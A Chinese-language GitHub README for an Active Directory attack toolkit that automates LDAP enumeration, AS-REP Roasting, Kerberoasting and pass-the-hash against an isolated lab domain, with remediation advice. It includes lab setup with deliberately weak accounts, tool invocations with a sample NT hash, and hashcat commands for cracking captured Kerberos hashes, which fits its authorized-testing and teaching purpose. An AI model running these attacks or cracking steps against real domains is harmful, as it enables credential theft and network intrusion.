torchiachristian/ad-attack-toolkit
GitHub: torchiachristian/ad-attack-toolkit
一款自动化 Active Directory 安全评估工具,通过组合攻击技术批量发现并报告 AD 配置弱点。
Stars: 0 | Forks: 0
# AD Attack Toolkit
Active Directory 安全评估工具。自动化枚举、AS-REP Roasting、Kerberoasting 和针对目标域的口令传递哈希攻击,并生成包含发现结果和修复步骤的 PDF 报告。
作为一个用于理解 AD 攻击向量、Kerberos 协议弱点及防御措施的组合工具而构建。
## 可重现设置 (!)
克隆此仓库并逐步按照实验室设置部分操作。
所有命令均经过测试,可直接复制粘贴,您可以在几小时内从零开始复制完整的攻击环境。
## 功能说明
给定一个域控制器 IP 和有效的域凭据(或低权限凭据),该工具包将:
1. **枚举** 所有用户、组和权限(通过 LDAP)
2. **识别** 禁用了 Kerberos 预身份验证的用户(AS-Roasting 目标)
3. **识别** 注册了 SPN 的服务账户(Kerberoasting 目标)
4. **捕获** AS-REP 哈希(可离线破解且不会触发锁定)
5. **捕获** 来自服务账户的 TGS 哈希(可离线破解)
6. **演示** 使用 NTLM 哈希进行凭据传递认证
7. **生成** 包含执行摘要、技术细节和修复措施的 PDF 报告
此工具测试特定的、已知的错误配置(**它不会绕过任何安全控制或利用零日漏洞**)
## 测试的漏洞
| 攻击 | 错误配置 | 严重性 |
|------|----------|--------|
| AS-REP Roasting | 用户账户上禁用了 Kerberos 预身份验证 | 高 |
| Kerberoasting | 使用弱密码且注册了 SPN 的服务账户 | 高 |
| Pass-the-Hash | NTLM 认证接受哈希而非密码 | 严重 |
## 实验室设置
该工具包已在本地 VirtualBox 实验室中开发并测试:
- **DC01**:Windows Server 2022 Datacenter Evaluation(域控制器)
- **CLIENT01**:Windows 11 Enterprise Evaluation(加入域)
- **Attacker**:Linux 主机(Ubuntu/Mint)
- **网络**:VirtualBox 仅主机适配器(隔离,无互联网暴露)
- **域**:psychosec.local
### 重建实验室
1. 从 [Microsoft Evaluation Center](https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2022) 下载 Windows Server 2022 Evaluation ISO
2. 从 [Microsoft Evaluation Center](https://www.microsoft.com/en-us/evalcenter/evaluate-windows-11-enterprise) 下载 Windows 11 Enterprise Evaluation ISO
3. 创建 VirtualBox 仅主机网络:
```
# Create the network interface
VBoxManage hostonlyif create
VBoxManage hostonlyif ipconfig vboxnet0 --ip 192.168.56.1 --netmask 255.255.255.0
# Assign to vms (or via GUI: Settings → Network → Adapter 1 → Host-Only → vboxnet0)
VBoxManage modifyvm "DC01" --nic1 hostonly --hostonlyadapter1 vboxnet0
VBoxManage modifyvm "CLIENT01" --nic1 hostonly --hostonlyadapter1 vboxnet0
```
4. 创建 DC01 虚拟机(4GB 内存,2 CPU,50GB 磁盘),挂载 Server ISO
5. 创建 CLIENT01 虚拟机(4GB 内存,2 CPU,50GB 磁盘),挂载 Windows 11 ISO
6. 将两台虚拟机均设置为仅主机适配器
7. 安装 Windows Server,设置静态 IP(192.168.56.10,DNS 127.0.0.1),然后提升为域控制器:
```powershell
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "psychosec.local" -DomainNetBIOSName "PSYCHOSEC" -InstallDns -Force
```
# 启动后,禁用防火墙(仅用于实验室测试)
```powershell
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
```
8. 在 DC01 上创建用于示例的易受攻击用户(以管理员身份运行 PowerShell):
```
# Populate AD with example users just for educational testing, if not use real data
# Replace usernames passwords descriptions with your own values if desired
# normal users
New-ADUser -Name "User One" -SamAccountName "user1" -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Enabled $true
New-ADUser -Name "User Two" -SamAccountName "user2" -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Enabled $true
# AS REP Roasting targets (no Kerberos pre authentication)
New-ADUser -Name "User NoPreauth" -SamAccountName "user.nopreauth" -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Enabled $true
Set-ADAccountControl -Identity "user.nopreauth" -DoesNotRequirePreAuth $true
New-ADUser -Name "Test NoPreauth" -SamAccountName "test.nopreauth" -AccountPassword (ConvertTo-SecureString "Summer2024!" -AsPlainText -Force) -Enabled $true
Set-ADAccountControl -Identity "test.nopreauth" -DoesNotRequirePreAuth $true
# Kerberoasting targets (service accounts with SPN)
New-ADUser -Name "SQL Service Account" -SamAccountName "svc_sql" -AccountPassword (ConvertTo-SecureString "SQLadmin1!" -AsPlainText -Force) -Enabled $true
setspn -A MSSQLSvc/DC01.psychosec.local:1433 svc_sql
New-ADUser -Name "Backup Service Account" -SamAccountName "svc_backup" -AccountPassword (ConvertTo-SecureString "Backup2023!" -AsPlainText -Force) -Enabled $true
setspn -A backupservice/DC01.psychosec.local svc_backup
# Domain Admin with a weak password
New-ADUser -Name "Admin Account" -SamAccountName "admin.test" -AccountPassword (ConvertTo-SecureString "Admin123!" -AsPlainText -Force) -Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members "admin.test"
# Regular Domain Admin for running the toolkit
New-ADUser -Name "Lab Admin" -SamAccountName "labadmin" -AccountPassword (ConvertTo-SecureString "LabPassword" -AsPlainText -Force) -Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members "labadmin"
```
9. 在 CLIENT01 上安装 Windows 11,设置静态 IP(192.168.56.20,DNS 192.168.56.10),禁用防火墙,然后加入域:
```powershell
# 通过 GUI 加入域:设置 → 系统 → 关于 → 域或工作组 → 域 → psychosec.local
```
使用 labadmin/LabPassword 进行身份验证以完成加入操作。
## 安装
```
python3 -m venv adtoolkit
source adtoolkit/bin/activate
pip install ldap3 impacket reportlab
```
## 使用方法
### 运行完整评估
```
python3 ad_attack.py --dc-ip 192.168.56.10 --domain psychosec.local \
-u labadmin -p "LabPassword" --all
```
### 运行完整评估(含凭据传递)
```
python3 ad_attack.py --dc-ip 192.168.56.10 --domain psychosec.local \
-u labadmin -p "LabPassword" --all \
--pth --pth-user admin.test --nthash 520126a03f5d5a8d836f1c4f34ede7ce
```
### 独立模块
```
# 仅枚举
python3 ad_enum.py --dc-ip 192.168.56.10 -u "PSYCHOSEC\labadmin" -p "LabPassword"
# 仅 AS-REP Roasting
python3 asreproast.py --dc-ip 192.168.56.10 --domain psychosec.local
# 仅 Kerberoasting
python3 kerberoast.py --dc-ip 192.168.56.10 --domain psychosec.local -u labadmin -p "LabPassword"
# 仅 Pass-the-Hash
python3 pth.py --dc-ip 192.168.56.10 --domain psychosec.local -u admin.test --nthash 520126...
```
## 破解捕获的哈希
安装 hashcat 并下载 rockyou 单词列表(包含许多常见密码):
```
sudo apt update && sudo apt install hashcat -y
wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
```
破解哈希:
```
# AS-REP 哈希(Hashcat 模式 18200)
hashcat -m 18200 asrep_hashes.txt rockyou.txt --force
# TGS 哈希(Hashcat 模式 13100)
hashcat -m 13100 tgs_hashes.txt rockyou.txt --force
```
## 输出文件
- `enum_results.json` — 完整枚举数据
- `asrep_hashes.txt` — AS-REP 哈希(Hashcat 模式 18200)
- `tgs_hashes.txt` — TGS 哈希(Hashcat 模式 13100)
- `ad_attack_report.pdf` — 评估报告(包含发现结果和修复措施)
- `ad_attack.log` — 详细执行日志
## 项目结构
```
ad-attack-toolkit/
├── ad_attack.py # master script, orchestrates all modules + PDF report
├── ad_enum.py # LDAP enumeration
├── asreproast.py # AS-REP Roasting
├── kerberoast.py # Kerberoasting
├── pth.py # Pass-the-Hash
├── enum_results.json # enumeration output
├── asrep_hashes.txt # captured AS-REP hashes
├── tgs_hashes.txt # captured TGS hashes
├── ad_attack_report.pdf
└── README.md
```
## 攻击原理说明
**AS-REP Roasting**:当用户的 Kerberos 预身份验证被禁用时,任何人都可以请求该用户的 TGT 而无需证明其知晓密码。TGT 使用用户的密码加密,因此可以离线破解。
**Kerberoasting**:任何经过身份验证的域用户都可以请求任意注册了 SPN 的服务的服务票证(TGS)。TGS 使用服务账户的密码加密。如果该密码较弱,则可以离线破解。
**Pass-the-Hash**:Windows NTLM 认证使用基于密码哈希而非明文密码的挑战-响应机制。如果你拥有哈希值,就可以在不知道密码的情况下完成认证。
## 修复措施
- 为所有账户启用 Kerberos 预身份验证
- 使用组托管服务账户(gMSA)并启用自动密码轮换
- 将服务账户密码设置为 30 个以上随机字符
- 启用 Credential Guard 以保护内存中的 NTLM 哈希
- 监控事件 ID 4768、4769、4776 的异常模式
- 尽可能禁用 NTLM,改用 Kerberos
## 法律声明
**本工具仅供授权的安全测试和教育用途。**
切勿在未拥有或未经明确书面授权测试的系统上使用本工具。未经授权访问计算机系统属于违法行为。作者不对滥用行为承担任何责任。
## 依赖组件
- Python 3
- [ldap3](https://ldap3.readthedocs.io/) — LDAP 协议
- [Impacket](https://github.com/fortra/impacket) — Kerberos/SMB/NTLM 协议
- [ReportLab](https://www.reportlab.com/) — PDF 生成
- [Hashcat](https://hashcat.net/) — 离线哈希破解
## 参考资料
- [Impacket 示例](https://github.com/fortra/impacket/tree/master/examples)
- [HackTricks AD 方法论](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology)
- [Kerberos 详解(Varonis)](https://www.varonis.com/blog/kerberos-authentication-explained)
标签:Active Directory, AD安全评估, AS-REP Roasting, GitHub Advanced Security, Kerberoasting, Kerberos协议, Kerberos弱点, LDAP枚举, NTLM, Pass-the-Hash, PDF报告, PE 加载器, Plaso, TGT, 代码生成, 域控安全, 域渗透, 域账户, 安全加固, 安全测试, 攻击性安全, 攻防演练, 服务账户, 权限枚举, 模拟器, 渗透测试工具, 电子数据取证, 离线破解, 网络安全审计, 自动化评估